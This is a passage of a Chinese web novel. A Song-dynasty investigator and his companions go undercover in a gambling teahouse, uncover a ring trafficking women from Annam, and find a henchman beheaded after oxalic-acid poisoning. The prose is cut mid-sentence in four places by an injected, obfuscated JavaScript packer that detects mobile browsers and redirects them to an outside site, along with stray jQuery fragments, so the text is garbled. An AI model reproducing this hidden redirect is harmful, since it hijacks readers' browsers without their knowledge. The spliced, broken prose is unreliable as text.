王瑜失落地点点头,“王家走到今天,父亲几乎耗费了全部的心血。二位兄长虽有诸多不是,却也靠着勤勉经营,维持着家族生计。若王家因此走向没落,甚至遭遇不测……或许这就是命数。”她深深叹了口气,“云娘落得这样,与我二哥多少有些关系,若有我能弥补一二的,烦请宋检法尽管提出。”
她再次向三人行礼,坐上马车离开了。
“我看这王家几个爷们加起来,也不如三姑娘深明大义!”甲丁感慨一声。
宋连则看向李士卿:“你收了人家三锭金子,就这么不了了之了?”简直奸商!
李士卿摊手:“他们自己都说不清那宝贝究竟何物,我又能奈何?”
“那白骨呢?死人的事不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199025|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
归你管吗?”
李士卿已经迈着步子扬长而去,只留下飘渺的声音:“那是另外的价钱。”
04
甲丁向李士卿讨了一碗符纸泡的水,给云娘喂了下去。
这回宋连没有阻拦。
摆在他面前的还有两个难题:一个是自制青霉素的计划要提上日程了。另一个是云娘昏迷之前说的那个“盛兴”到底是什么意思。
云娘换下来的衣服还放在桌上,湿哒哒一堆。
外面的褙子和襦裙有许多地方都撕破了,不好说是人为的还是从河中漂流的时候被杂乱的树枝挂的。
这厨娘如果这趟能挺过去活下来,也算是北宋奇闻了,命是真大。
宋连抖开衣裙,没有银钱首饰,没有纸张文书,什么都没有。如果她真的偷了王家什么大件东西连夜跑路,倒也说得过去:东西沉在河里,她身上就什么都没有了。
他把那堆湿衣服放回桌上,又想到应该趁着今天太阳好拿出去晾晒一下,说不定水迹干了还能看出点什么。
甲丁刚好喂完汤药出来,这种洗洗擦擦的事被他包揽了。
宋连总觉得哪里有问题。他在王彦之家勘察的时候,就总有一种感觉:那屋子里从来就没有什么贼人进去过。
当时只是一种直觉,现在细细想来,造成这个直觉还是有些原因的:按照王家人的推测,昨夜雷电击穿了屋顶,刚好被贼人发现,于是起了贪心进去偷窃。
无论这个贼是谁,既然是临时起意,TA肯定不知道这屋子是个宝贝暗室,更别提里面有什么。
按照王彦之的话说,那木匣子十分普通,还盖在黑色绒布下面——在黑漆漆的夜里这东西压根就看不见。
如果有个外贼,歪打误撞跳进了这里,首先被吸引的应该是那些能反光的金银珠宝,值钱还好带,往兜里一揣就能带走。
再不济也应该快速翻一翻,带走些值钱的。
而这个人无视了那么多闪亮亮的宝贝,其他东西一概不动,精准的瞅准了隐藏在黑暗中的、普普通通的木匣子——王德财说过它还挺沉。
如果这贼真的是云娘,她绝不可能是临时起意,那么她又是从哪得知宝贝的事呢?
宋连询问李士卿云娘的情况,大概何时会醒来。得到的答复是:不知。
疑团越来越多,事情也越来越复杂,即便在“休沐”中,但他已经参与得这么深了,是肯定要向单位报告的。
事情越积越多,又烦躁又头疼。他在屋里被暖炉烘得昏昏欲睡,决定出去醒醒脑,顺便去开封府报备一下。
他刚出门,迎面撞上匆匆进门的甲丁,手里拿着一个破布条:“像是撕破的帕子,湿了之后贴在内袋里面,要不是它有味儿我还真发现不了!”
宋连接过,还是丝质的,像是一个帕子撕下来的一角,还用丝线绣着字:胡记·盛兴茶坊。
61.12 我勒个幸运大转盘!
01
云娘口中的“盛兴”很可能就是这个“盛兴茶坊”了,看这帕子的做工,应该还是个上规模的茶楼。
“茶楼?”甲丁咯咯咯笑起来。
“你这什么表情,怪吓人的,”宋连撇嘴,“这上面写的,茶楼。”
“酒味、松香味、贵人的香脂味、穷人的汗味、甜食、古玩、金银……这些味道的杂合……可不像只是个茶楼。”
这是甲丁在一个破布条上闻到的味道。
宋连一时间不知道“李士卿能见鬼”和“甲丁鼻子打败狗”这两件事,他究竟应该信哪个。
“或许你可以考虑以后有钱了开个香氛铺子,名字我都给你想好了,就叫气味博物馆。”主打就是一个听着抽象,闻得具体。
“真的,你别不信啊!这味儿不像茶楼,倒像是……”
“赌坊。”李士卿说,“在马行街。”
宋连挑挑眉毛:“马行街我可听说过,挨着皇宫,不是青楼就是酒店,那个谁……李师师和宋徽宗嘛!”
糟了!
宋连很想给自己来一巴掌。
果然,甲丁一下子就抓住了重点:“宋什么宗?”
“你听错了,我说的是孙辉宗,我一个朋友,不过好久没联系了,那什么,李老师你刚说在哪来着?”
甲丁掏了掏耳朵:我听错了?不能吧!莫非鼻子好使的代价是会耳聋?!
02
东京城里有好几个商区,其中两个最为繁华有名。
一个就在李士卿家旁边,以大相国寺为核心的州桥CBD。沿州桥东西方向商铺林立,夜市繁盛。
在地理位置上的优势不仅仅在于连接老城与新城,更是从御街一侧去往另一侧的必经之路。
而另一个,就是紧挨皇宫的马行街CBD。
这里酒楼众多,东京城最豪华的五星级酒店都集中在这里;勾栏瓦舍鳞次栉比,是京城娱乐业最发达的商业区;还有一条叫做“西鸡儿巷”的妓馆街,是著名的红灯区——再往后过四五十年,有一个宋代历史上非常著名的艺术家皇帝,会半夜从皇宫悄悄溜达出来,直奔某个青楼,拿着爱的号码牌,通宵排队只为见一位叫做李师师的头牌红人。
总之,因为紧挨皇宫,这里便是达官贵人声色犬马、消遣娱乐的地方。
那家“盛兴茶坊”,表面上是品茶博古的雅店,但私底下其实是京城规模数一数二的□□场所。
北宋禁赌,法律规定“诸博戏赌财物者,各仗一百”,只有在重大节庆日的时候,比如春节、元宵节,才会顺应民情,特许开放几日。也有一种说法,是因为皇上他也想玩……
总之,和现代法律一样,赌博是明令禁止的。
盛兴茶坊的老板姓胡名唤。此人为人十分低调,没人知道他究竟什么来头,为什么有这么大本事,能在马行街这样的地方开设一家人人皆知的□□茶馆。
盛兴茶坊有三栋小楼四个院子。
临街那栋门面小楼,接待的都是一些较比富庶的农民、小商贩和小手工业者,属于小康客群。
往里穿过一个假山竹林的庭院,第二座小楼从外观上自然没有门面楼那么豪华气派,但去掉了土豪元素后,显得分外雅致。
内饰自然也是将“雅”做到了极致:墙上挂着大家名士的书法字画;家具材质也十分讲究,低调奢华;即便是最不起眼的摆件也可能出自名家之手,内行人一眼便知其金贵稀有。
这座小楼招待的自然是中产精英群体:富领一方的大商贾,更多的则是朝中有些分量位置的官员。
再往里,穿过一个更大的山水园林,则来到茶坊最为隐蔽的私人会所。鲜少有人能进入这里一睹真容,就连王彦之这样富甲京城的大户也不行,因为这里是禁止商人入内的。
普通士大夫自然也没有迈过门槛的资格。
这里只接待那些真正的“大官”,最起码宰相起步。
03
因为没有直接证据,宋连他们只能微服卧底,以免打草惊蛇。
地下赌场这种地方,宋连也是去过几次的。很多KTV、酒吧都暗地里自带赌博功能,且这种地方发生命案的概率不低。
但他从来没有去消费过,毕竟是公职人员,出入这种地方影响不好还会受处分。
李士卿虽然对这种烟花场所很熟悉——毕竟这种赚偏财的地方更迷信他这样的神棍——但他也从不在这种地方玩乐消费。
这人衣食住行方方面面极其自律,常年食素,早睡早起,虽然宋连没见过他锻炼身体,但从他几次不经意显露的身手也能看出他肯定私下默默在努力。
于是,厚望自然就寄托到了甲丁身上。
这次甲丁算是不负众望,毕竟他跟着戏班子走南闯北,没少进出过这类场所。
三人一踏进茶坊大门,茶博士,就是应侍,面带热情的笑容迎了上来。
这种笑容宋连熟悉的很,销售的标准职业假笑。当这种笑容出现的时候,就是对方想从你兜里掏钱的时候。
“几位爷看着面生得很,是第一次来吧?”应侍在三人中精准的锁定了李士卿,抬手就要热情的拉他衣袖,被李士卿躲开了。
应侍的眼中一点没有恼怒,反而多了几道亮光。这么难搞的角色,一定是个有钱的主儿!
于是他又转而讨好宋连:“看几位爷气度不凡,来咱们小店,是咱家的荣幸。几位爷平日都喜欢喝什么茶?让小的给您几位介绍介绍本店特色?”
很明显的黑话。宋连不熟,怕说多错多,也学着李士卿装高冷。
应侍看宋连也没反应,大概猜到这几位都是生手了,眼里的光更浓了——没有新手能逃出他的连环套。
“看几位爷是有品位的,这样,小的这里有些免费的茶品,数量有限,但为了让爷能体验到本店的特色,小的做主,把所有茶品都献给几位爷,先都尝试一遍看看喜欢哪种?”
“不用打暗语了,我们能来这里,自然是知道这里做什么生意。叶子戏、双陆棋就免了,那些花里胡哨的我家公子都看不上,腻了。听说你们这里的关扑很是丰富多彩,我家公子特意来感受感受。”
应侍有些迷糊了,两位有钱有势的正主反而一副没见过世面的样子,怎么最不起眼的小跟班倒像是行家。
应侍虽然有点搞不清状况,但三位加起来就是他的财神爷,是他白花花的KPI!
“我就说呢,三位爷一看就是见过世面的!我家的关扑是出了名的丰富多样。只不过……”
“只不过?”
应侍尴尬笑了笑:“关扑都是平民百姓玩的,您三位……”
“嘘——”宋连将食指放在嘴边,“与民同乐!”
应侍恍然大悟,连连点头:“我懂!我懂!三位,这边请!”
04
当宋连走进茶坊的那一刻,甲丁那一串抽象又魔幻的气味描述突
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204593|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然就变得具象了。他不得不再次对这位汪汪特工刮目相看。
应侍先将他们带到一个轮盘前介绍:“几位爷,可要先来些美味的点心小食?”
轮盘上划分了不同的扇形区域,分别写着:糖蜜糕、灌藕、时新果子、象生花果、鲜鱼、猪羊蹄肉、猪胰胡饼等等数十样。
中间转轴上有个指针,圆盘边有个把手。
宋连嘴角抽搐,穿越千年,竟然在北宋玩了一把幸运大抽奖……
见几人没什么兴趣,应侍赶忙拍了自己一巴掌:“瞧我这眼力见儿,几位爷什么山珍海味没吃过,怎么会对这些感兴趣!”
他又把几人拉到另一个转盘跟前,有细画绢扇、新窑瓷器、琉璃泡灯、花环钗朵、香囊珠佩……
“呃……这些小玩意儿,恐怕也入不了几位爷的眼,想必家中小娘子们个个穿金戴银的……”
话还没说完,那轮盘已经呼噜噜转了起来,宋连摇它的劲儿不小,轮盘边转边晃动,像是马上要立不住栽倒。
应侍有些讶异地看着宋连,发现另外两位也用同样的表情看他。
宋连边傻笑边等着转盘停下来,回头看到三个人怔怔看他,有些莫名:看什么?做便衣不用干活的吗?!
气氛在四个人之间微妙的流转,大转盘呼噜噜的BGM让时间变得更漫长,空气变得更尴尬。
过了有一万年那么久,呼噜噜的声音逐渐停了下来,四个人也不知道为什么,都紧盯着那根指针,等待大奖揭晓。
轮盘晃悠两圈,最终停在了“珠佩”上。应侍大喊一声:“好巧好巧!”便从柜台处取了奖品来——一个看起来确实很别致的珍珠挂坠,可以挂在腰间那种。
挂佩是一圈圆润的白色小珍珠,镶嵌在银质的水滴状模子里,银子表面还镶嵌着极细的掐丝珐琅。
正中间是一颗直径约两公分的海珍珠,光线一照,就是五彩缤纷的白。挂坠下束着垂缎流苏,垂坠感很好,不会乱飞。
应侍把珠佩递给宋连,在他要接过的时候又撤了回来:“这奖品是爷抽到的,肯定是会给爷的。但有话要说在前面,这珠佩里的珍珠,可是真正的海珠,从南洋打来的,别看放在这里做奖品,价值可是很高的,是新到的镇店之宝!”
宋连一看这架势,恐怕是要讹钱了。什么镇店之宝会放在平民抽奖池子里,还一抽就给抽中了。
那轮盘绝对有猫腻!
甲丁显然也听出了有诈,气凶凶质问:“什么意思?你刚说是免费筹码试着玩,现在又要讹钱不成?!”
应侍嘿嘿赔笑:“那不能!我这人说话算话,说给几位爷尝尝,就不会额外收钱。但这东西真的是好东西,刚才不是说,多给几位爷一些筹码,多体验项目么?可这一样宝贝就抵得了所有的免费筹码。爷要是领了这件宝贝,之后的项目可就要照价付钱了。”
哦,意思就是不给白嫖了呗!
宋连倒较上劲了:“那如果我不要这个了呢?”
“自然也是可以的,只不过……”
应侍将珠佩翻了个面,原来背面还贴着价签:30贯。
这批发市场的货竟然要三万块钱?!
“爷,我们家的货色,是可以拿去典当行估价的。您赢来的这珠佩售价要30贯,在这里抽取一次是50文,而您是一文钱不花得到的。不要这个奖品,恐怕您再抽到的未必还有这个好。咱的话信不信由您,您不要,我还赚了不是?”
62.13 钞级难题要用钞能力解决
01
围观的人越来越多,很多人窃窃议论这珠佩有多么值钱。宋连当然不会信以为真,这些人当中不知道有多少是托。
但他们来卧底调查,不能搞得太显眼,宋连挥了挥手:“行了,我信你,这珠佩我要了。”
应侍两眼放光,可真是遇到不懂货的傻财主了!这珠佩虽不值30贯,但也不至于批发市场的货色,放在往常这东西被免费抽走,应侍心里都要滴血。
但放在这仨身上,这叫放长线钓大鱼。
应侍小心翼翼把珠佩递交到宋连手里,笑盈盈说:“这么好看的物件,回去送您小娘哎……”
应侍眼睁睁看着宋连将这枚珠佩转身挂在那高冷的公子腰间。
别说,那公子一身白衣,倒是很配。
宋连:“这东西根本就是为你量身定做的,白擦擦的,送你了。别嫌是免费货,你也听到了,价值3万呢!”
李士卿显然没料到宋连会把这珠佩给他,还是直接穿过腰带挂上去的,他甚至没来得及躲,等反应过来的时候,那流苏珠佩已经在他腰间坠着了。
“确实与李郎很般配!好看!真好看!”甲丁也在一旁赞赏。
李士卿看了眼腰间那珠佩,默默收回了想要拿掉它的手,转身往别处去了。
02
免费的抽奖机会用完了,接下来才是付费环节。应侍推销的更加卖力了。
大转盘已经是过去时,往下走还有飞镖、射箭、投壶。奖品也花样百出:古玩字画、铜钱古币……做工真假难辨,恐怕只有那些“雅兴勃勃”的文人能辨识出来,但那些人也不可能在这里逗留。
看几位兴趣缺缺,应侍有些着急,怎么得了免费的就不耍了呢!穿的人模人样的还来白嫖不成!
“几位爷,不如说说你们想玩些什么?”
“这个嘛……”宋连故意压低了声音,神秘兮兮的问:“你们这里有没有什么……从南边国度,比如安南这样的地方引进的……装在xi……”
“哦~~~”应侍恍然大悟,随即也压低声音:“原来爷是想要异域特色的!您头一回来,就知道本店还有这等好货,看来对我们有些了解!”
“略知一二,那么这种货品,要怎么获得呢?”
应侍做了个小声的动作,带着三人往最里面的包间走去。
包间很大,足有二三十平,四壁装潢的很热闹,张灯结彩的。中间只有一张四四方方的木桌。
木桌一边站着一个婢女,柳叶细眉,樱桃小口,衣着华服,露出细长的脖颈与分明的锁骨,前襟的薄纱下看得到细白的胸脯。
十几个男人围在木桌周围,有的紧盯着桌子上的东西,嘴里时不时吐出几句粗话,有的则目不转睛看着那婢女,垂涎三尺。
好么,一千年前的性感荷官,在线发牌?
甲丁一走进包间,就立刻拽了拽宋连的衣角:“就是这个味道,和那帕子上的一模一样!”
正说着,桌边那群人中发出了叫喊,听不明白是在兴奋什么,但这熟悉的荷尔蒙乱喷的味道,让宋连肯定这里的奖品一定和男人的肾上腺素有关。
应侍将三人领到桌边坐下,给宋连使了使眼色:该交钱了!
“一局多少钱?”
应侍赶忙纠正:“哎,我的爷,您这么说可就冤枉本店了,我们是茶坊,卖的是茶水。这雅间的茶水自然要贵一点,一壶这个数。”
应侍伸出五根手指。
甲丁:“50文?”
应侍:“爷您说笑了,50文是屋外的价格。”
宋连:“500?”
应侍又笑着摇摇头:“5贯。”
5000块!这不是平民楼吗?什么平民能随便拿出5000块钱来玩幸运大抽奖啊?!
“你刚给我拿珠佩不是价值3万的镇店之宝吗?我拿那个押注,只算你5000块,你还赚了!”
应侍的鼻孔哼了一声:“爷您又跟小的说笑了,没这么玩的,咱家小本生意,只收银钱,不做典当。”
“啪”一声,是一锭银子放在桌面上的声音。
一锭五两,正好五贯。
应侍收了银子,笑得更灿烂了:“玩法很简单!可押大小,也可押单双,押中算赢,货就是您的了!还有一种更高难度的,押大小的同时押单双,若是还赢,您可以自选货品!”
赌桌中央平放着一张同心圆的圆盘,里圈分为24个大小相同的格子,交替写着“大”“小”,外圈则分成了36格,分别写着壹到叁拾陆的大写数字。
圆心处是一根转轮,转动转轮,同心圆的里外两圈会以不同的速度旋转,赌客将小球扔进转轮中,待同心圆完全停下,小球随机落入格挡,对应的大小和单双数字即是这一轮的结果。
押注这种事,没有人比李士卿更合适,众人都等他下注,他掐指算了算,没有说单双,而是说:“小廿肆。”
那荷官愣了一下,重复了一遍李士卿的注,又补充说:“就是小双。”然后伸出两根手指轻轻拨动了转轴,轮盘转动了起来。
李士卿拿起桌上的小球,随意往里一扔,这次几十双眼睛哪都没看,都盯着轮盘。
大、小、大、小……
拾捌、拾玖……廿壹、廿贰……
轮盘已经非常缓慢了,在二十三的位置上几乎已经要停下。小球没了动力晃悠几下也要停下。
“哎~!”围观的众人发出唏嘘的声音,嘲笑这位自大的白衣公子装模作样,或可惜只差一位数就猜对了。
就在转盘停下的一刹那,小球释放了最后的一点动力,撞到了格壁上,弹跳了一下,竟然跳到了旁边一格。
“小廿肆!!!”
众人又沸腾了,那应侍目瞪口呆,差点连银锭都没拿住。
“这位公子果然不凡,好手气!这等好技巧,应该去后院那座……”
“你方才说,可以挑选?”李士卿打断了应侍。
“啊对对,公子随我来,货品就在旁边房间,您现在就可自行挑选!”
03
原来包间最深处还有一道暗门,打开之后先扑出一股浓重的脂粉香味,呛得甲丁又打喷嚏又流泪。
往里一看,竟然别有洞天!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211063|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屋子足有4、50平大,布置得像新婚的闺房:四周挂满了红绸帐,点着一圈红烛灯。只是把床榻的部分换成了一个小舞台。
十几个穿着单薄纱裙的姑娘站在台上,排成一排,说着听不懂的“方言”,生疏的摆弄着姿势。
宋连和甲丁当即愣住,李士卿脸上看不出表情,只是把脸别过一边去了。
甲丁:“这就是你说的安南的……”
应侍:“对啊!从安南来的。”
甲丁:“我们说的是装在……”
应侍:“装在箱子里用货船运来的国色天香嘛!”
这些姑娘们大概也都是因为活不下去,或许更甚是被拐卖,为了掩人耳目,像货品一样装在箱子里,在船舱恶劣的环境里熬过几个月的时间……这期间病死饿死的还不知道有多少!
宋连长叹一口气,说不清此刻堵在胸口的到底是愤懑还是失落。
他们原本是想碰碰运气,看看能不能找到一点楠木匣子的线索,谁知却误打误撞发现了人口贩卖的窝点!更没想到的是“越南新娘”竟然由来已久!
应侍殷勤的询问李士卿:“怎样?公子看上了哪一个?如果都不合公子的意,咱们这还有更好的货色,只是……茶钱要更高……”
应侍还在介绍他们的“特色货品”,宋连却在那一排姑娘中发现了一张熟悉的面孔。
04
“她叫什么名字?”宋连问应侍。
“嚯!公子好眼力,这可是这批姑娘中最标志的一个了!性子嘛……”应侍啧啧两声,“够辣!”
“我问你她叫什么名字,何时来的?”宋连语气有些不耐烦了。
应侍听出了些情绪,忙回答:“前天才到,新鲜的!爷放心,都是待开的花苞,清白着呢!至于名字吗……她们没有名字,恩客要是看中了要走,就可以给她们取您喜欢的名字。什么春花啊秋月啊……”
“我要跟她单独聊聊。”
“这个嘛……”
又一锭银子放在应侍手中,李士卿一脸冷漠,对他说:“今日之事,你不能和任何人提起。若能做到,还有你的好处,若做不到……”
李士卿没有往下说,表情也没有任何变化,但那应侍却感觉到一股寒气自脚底升起,全身汗毛都竖了起来。
他收了银子,将三人安排到一间小小的茶室,又把那姑娘拽进来,弯腰退出门去。
甲丁站在门口,如果有人在外偷听,他能马上察觉。
那女子因为挣扎,妆都花了一些,尤其嘴唇上的口红,都晕开到了脸上。但她并没有因为现在的狼狈而羞于见人,反而直视这三个男人。
她的双拳紧握,打量着房间中的墙壁和立柱,嘴里不断叫嚷着听不懂的话。
宋连大概猜到,她在威胁他们:如果他们乱来,她就撞死在这里。
姑娘的眼中有愤怒也有恐惧,声音颤抖,挥动的双臂露出深浅不一的瘀痕。宋连将双手掌举在耳侧,做出“我们没有恶意”的态度。
“你别激动,我们不会伤害你。我们见过的,你还记得吗?昨晚雨夜,你拦过我的车。”
63.14 小赌怡情,大赌掉头
01
雨夜、雷击、丢失的匣子、落跑的厨娘、夜奔的越南姑娘……这已经远不是富商替高官跑腿这么简单的事情了。
宋连隐约感觉到,围绕在那个匣子周围的,是层层包裹的谜团,共同罩着某个阴暗的犯罪事实。
现在,他们找到了至今为止最有希望的线索,却因为语言不通而僵持不下。
“姑娘,我是开封府的……警察,你能先坐下冷静一下吗?”
宋连劝解不成,甲丁想肢体语言沟通,但他刚动了动腿,那姑娘就尖叫一声要撞墙。
“Choong - toy - seh? - khom - laam - hai! - em ”
姑娘惊讶地看向那个一身白衣的人,宋连和甲丁也同时看向李士卿。
甲丁:他竟然会讲安南话话!
宋连:会讲不早点讲!耽误时间!
李士卿又抑扬顿挫的叽里呱啦了一堆,那姑娘先是惊讶,然后疑惑,最后放下了戒备,放声痛哭了起来。
接下来的十几分钟里,宋连和甲丁只能面面相觑,耐心倾听李士卿和姑娘聊天。
虽然案子很急,但他们还不能急,急也急不得,一句话都听不懂。
两杯茶的功夫,对话结束了。不知李士卿说了什么,姑娘又突然激动起来,要去抓李士卿的衣袖,被他轻轻躲开了,姑娘眼中含泪,对着李士卿不断作揖,说的话虽然听不懂,但应该是感谢的意思。
那姑娘离开不多时,应侍就来到房中:“几位爷还满意吗?喜欢的话今儿就能带走。”
李士卿踌躇半天,十分为难。应侍看出他不满意,说:“懂了,姑娘性子活泼,看公子您好文静,估计入不了您的眼。没关系!咱这儿还有很多,什么性格脾气的都有,公子可以再挑挑!”
“姑娘先不急,我想跟你打听个人。”
应侍一听,和赚钱生意没什么关系,顿时失了兴致,笑容还挂在脸上,但已经没了热情。
“啪哒”,又一锭银子放在桌上,“当然不跟你白打听。”
热情!必须热情!茶博士在热情方面可是专业的!他们的热情就像一把火!
应侍两眼放光,弓着身子小步跑过去要拿银子,被李士卿一把按下:“老规矩,”
应侍如鸡啄米:“不可说,我懂,我懂。爷您问,小的一定知无不言!”
02
早知道李士卿这么舍得用“钞能力”,何必还瞎忙活一圈!
宋连一边腹诽,一边琢磨:李士卿哗哗往外撒银子,该不会叫我找开封府报销吧?这算是公出么?能报得下来吗?
他想到自己微薄的俸禄,又想到傅大人那张艰苦朴素的脸,天无绝人之路,绝起来真的没路!
李士卿和姑娘聊完之后一个字不说,直接和应侍对线。宋连和甲丁也不知他葫芦里卖的什么符,也不敢多问。但他花这么些钱,总应该是有了线索的。
“你店里,有没有一个脸上长了痦子的人?大概长在这个位置。”李士卿点着右脸比划了一下。
应侍想了想,说:“有的!叫哑石,他是个哑巴,打起人来又和石头一样,是个硬茬。是我们茶坊的打手。”
应侍转念一想,又小声问:“爷问他做什么?莫不是他有眼无珠,招惹到您了?”
李士卿轻飘飘甩给他一个眼神,应侍立刻闭了嘴。
“那哑石现在在哪?”
应侍伸手摸了那锭银子,一副担惊受怕的样子:“哑石兄弟要是招惹到您,我先替他赔个不是。但是!您该怎么罚怎么罚,只是……可千万别让他知道,是我跟您报的信儿,成吗?”
李士卿没说话,当是默认了。
“他不但是咱们这儿的打手,也负责接上岸的姑娘,哦,就是刚才您问话的那些。他就住后院的小柴房,昨儿一整天没见着人,这会儿也不知道在不在呢。”
又一锭银子放在应侍面前。
“你只管带路。”
03
极漫长的一天终于接近尾声,天已经黑了,但茶坊却人声鼎沸,比他们来时更加热闹。
应侍在前面带路,宋连揪住李士卿问他究竟和越南姑娘聊了什么。
“这家赌坊会定期从安南贩运姑娘到汴京,私下做买卖人口的生意。那姑娘在安南是被人牙子绑上船的,她们在海上漂了将近一个月,死了将近一半。”
一半!原来被装箱上船的远不止这些姑娘!
她们被封在木箱里逃过安南水军的检查,在船上也被捆绑束缚以防跳海或者闹事。
很多姑娘在船上就受尽了糟蹋,有不堪凌辱绝食自尽的,也有病死憋死的。
船上条件艰苦,能活着上岸已是奇迹。
“这些女子,有的人,比如那个姑娘,是被强迫,但也有相当一部分是自愿。”
宋连点头:“偷渡,我知道。”即便一千年后也一样,每年还是会有无数人死在偷渡路上。
“她说,她们被带到茶坊的当天,就有姑娘被卖走,剩下的姑娘还要遭受打手的虐待。看守她们的那个打手,她不知道叫什么名字,只看到那人脸上有个丑陋的痦子。他多次对这姑娘欲行不轨,那姑娘不愿就范,找准机会连夜出逃。但她人生地不熟,又遇上暴雨,跌跌撞撞……”
“就撞到了我们的车……”宋连终于连上了一小段线索。
接下来,就是他们三人的猜测:姑娘跑了,哑石就得负责抓。他在暴雨夜顺着那姑娘逃跑的方向一路追到了州桥附近,恰好遇到了同样出逃的云娘。
夜黑雨大,那姑娘和云娘身材相似,哑石也分不清楚,或者说,他没有必要分清。他的任务是抓回一个姑娘,至于是不是逃跑的那个,也没什么重要。
云娘奋力挣扎,可能抓伤了哑石,扯下了帕子的一部分;也可能在破口大骂时暴露了自己并不是越南姑娘。总之她激怒了他,于是哑石一怒之下将云娘推下汴河,谁知她和那越南姑娘一样命大,顺流而下,被木岸拦截。
“昨夜下元节,定是水官显灵了,让可怜女子保住性命!”甲丁坚信不疑。
“那水官为什么不好事做到家,又让着姑娘被抓回来了呢!”宋连及时进行了唯物教育。
04
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235946|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应侍带他们从第一座小楼后门走出,来到假山竹林小院,他们没有走进院子,而是顺着一边的廊亭来到了偏门一排矮房。
“这里就是哑石平时休息的房间。”
甲丁马上就嗅到了一股熟悉的味道——浓郁的腥臭。
不过这次不止是他,在场所有人都闻到了。
应侍捂着鼻子:“哎呦,他在屋里干什么呢!”
宋连二话没说伸手推门。
屋内十分昏暗,借着月光能看到一个人影背靠墙壁,坐在床上。
血腥味弥漫整个屋子,应侍干呕着跑出去吐了。
甲丁摸到桌上的烛台,又在旁边寻到火石点燃。
被血浸透的凌乱被褥上,盘腿坐着一具无头的身躯,背靠墙壁所以没有倒下。
尸体双手摊放在腿上,捧着一只楠木匣子,里面装着他自己的脑袋。
05
“死亡时间大概在6-8小时,断首处皮肉没有回缩,是死后斩首,凶手下刀利索毫不犹豫,刻意制造出这种现场足见其冷酷和冷静。房间里没有打斗痕迹,但他似乎在床上挣扎过,毒杀的可能性很高。需要拉回去解剖才知道。”
宋连一边观察尸体一边说给甲丁记录。
“死者右脸下颌处有创伤,手臂多处抓痕。很有可能是与云娘发生争执时留下的。”
真是世事无常,反转不断。杀人凶手一夜之间又成了被害人。
“茶坊的老板来了吗?”
甲丁记录完最后一个字,才答:“应该到了。”
门外,隔着很远的地方,站着一个面色苍白的男人。
他看上去四五十岁的模样,身形精瘦,正不停地擦汗,鬓角已经有些斑白,见宋连从哑石的屋里出来,犹豫着挪动双腿迎上去。
“大人,鄙人正是茶坊老板,胡唤。”
宋连身上沾着很浓的血腥味,走动的时候味道会四处飘散,胡唤忍着呕吐小小的退着步子。
“你就站在那里别动,我问什么你答什么。”
胡唤很听话,一动也没动,只是额头上的汗珠噼啪往下掉,他得时不时用帕子擦一擦。
“哑石是你茶坊的打手?”
胡唤连连点头:“是是,茶坊客人繁杂,常有口角之争……”
“胡唤胡唤,真是胡说八道!这茶坊私底下干什么的你我心知肚明!就不用扯这些幌子了。”
宋连总觉得眼前这胡老板,和那个可以在皇宫边上开赌坊的隐形富豪对不上。他心目中的胡老板应该更沉着稳重一些。
“那些安南姑娘,是怎么到这里的?”
老板擦了擦额头的汗,不敢看宋连眼睛,低头答道:“是自愿来的,都是自愿来的!”
“大胆!”宋连厉喝一声,“这里发生了命案,情节特别严重,性质十分恶劣!你知道这意味着什么吗?!”
甲丁揪起胡唤的衣领把他提溜到柴房门口,哑石的无头尸体还端坐在床上,血呼啦擦一片,胡唤“嗷”一嗓子昏了过去。
宋连叹口气,预感他的牛牛专车还有30秒抵达现场。
64.15 草酸导致血钙浓度过低
01
死者哑石,身高170cm,体重80kg,年龄31岁。
经解剖,死者口腔、喉咙、食道、肠胃均有炎症出血反应;肾脏变性坏死,肾小管堵塞,可见草酸结晶体。
由此判断,哑石死因为服用大量草酸导致血钙浓度过低,使肾脏严重受损、心脏停跳、因全身供血不足导致死亡。
甲丁奋笔疾书之后,开始了他的3000问环节。
“草酸导致血钙浓度过低,是什么意思?”
